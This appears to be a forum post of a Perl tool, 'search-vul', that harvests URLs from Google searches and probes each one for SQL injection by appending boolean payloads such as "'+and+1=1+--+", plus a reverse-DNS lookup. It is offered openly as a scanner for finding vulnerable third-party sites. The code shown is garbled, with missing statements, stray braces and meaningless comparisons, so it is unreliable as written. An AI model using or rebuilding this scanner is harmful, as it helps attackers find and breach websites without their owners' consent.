Código
=pod Autor: Yoyahack name: search-vul verion: 0.4 Mail: yoyahack@undersecurity.net Web: www.yoyahack.blogspot.com Webs: www.undersecurity.net & www.mitm.cl & elhacker.net & www.n3t-datagrams.net Gretz: S[e]C, seth, p0fk, ksha, OzX, protos, NorK, C1c4Tr1Z, [[kt0sh]],SH4V , x4cks _ _ ___ ___ __ _ _ __ ___| |__ __ ___ _| | / __|/ _ \/ _` | '__/ __| '_ \ ____\ \ / / | | | | \__ \ __/ (_| | | | (__| | | |_____\ V /| |_| | | |___/\___|\__,_|_| \___|_| |_| \_/ \__,_|_| =cut #opciones =pod --google <busqueda> --num <numero> -> Buscar paginas de google.com y indica el numero de pagina a buscar --googles <busqueda> --num <numero> -> Buscar pagina de distinto servidores googles --vul <file.txt> -> Escanea un archivo que contenga distinta pagina y verifica las vurnerables --dns <site> -> Reverse dns =cut #Modulos use LWP::UserAgent; use HTTP::Request; use Getopt::Long; #Code ············································· Code by Yoyahack www.yoyahack.blogspot.com www.undersecurity.net & www.mitm.cl ············································· ); --google <busqueda> --num <numero> --googles <busqueda> --num <numero> --vul <file.txt> --dns <site> --help ); #Opciones GetOptions("google=s" => \$google, "googles=s" => \$googles, "vul=s" => \$vul, "dns=s" => \$dns, "num=s" => \$num, "help" => \$help); if($google & $num){&google}; if($googles & $num ){&googles}; if($vul){&vul}; if($dns){&dns}; if($help){&help} sub google{ ########################################################### my $peti = "http://www.google.com/search?hl=&q=$google&start=$num"; my $result = get($peti); ########################################################### while ($result =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) { my $enlace = $1; } } sub googles{ ########################################################### foreach $go(@googles) { ########################################################### my $peti1 = "http://$go/search?hl=&q=$googles&start=$num"; my $result1 = get($peti1); ########################################################### while ($result1 =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) { my $enlace1 = $1; } } } sub vul{ ########################################################### @urls=<PAG>; foreach $pag(@urls) { ########################################################### my $iny1 = $pag."'+and+1=1+--+"; my $iny2 = $pag."'+and+1=2+--+"; ########################################################### $pag .= '&'; if($pag =~ m/&{2}/ig){ }else{ while ($pag =~ m/\&/g) { $regex = $pag; $regex2 = $pag; if($tofo3 ne $tofo4 || $tofo != $todo){ } } } ########################################################## my $fuente = get($iny1); my $result = get($iny2); ########################################################## if($tofo ne $todo || $tofo != $todo){ ············································· Code by Yoyahack www.yoyahack.blogspot.com www.undersecurity.net & www.mitm.cl ············································· ); } else { } } } sub dns{ my $result = get("http://www.ip-adress.com/reverse_ip/$dns"); } if ($result =~ /valid IP address/) { } } sub help { &erase; ############################## 1 --google <busqueda> --num <numero> Buscar paginas de google.com y indica el numero de pagina a buscar perl script.pl --google ola --num 10 ############################## #//// ############################## 2 --googles <busqueda> --num <numero> perl script.pl --googles ola --num 10 Buscar pagina de distinto servidores googles ############################## #//// ############################## 3 --vul <file.txt> perl script.pl --vul archivo.txt Escanea un archivo que contenga distinta pagina y verifica las vurnerables ############################## #//// ############################## 4 --dns <site> perl script.pl --dns www.pagina.com Reverse dns ############################## #//// ); } sub erase{ $os = "$^O"; if ("linux" == "$os"){ }else{ } sub get { my $pagina = $_[0]; my $ua = new LWP::UserAgent; $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12"); my $busqueda = new HTTP::Request GET => $pagina; my $resultado = $ua->request($busqueda); my $result = $resultado->content(); }
Mirror:
http://undersec.pastebin.com/f5c7ce4f9
http://codepad.org/Xwe6N7MO
Saludos.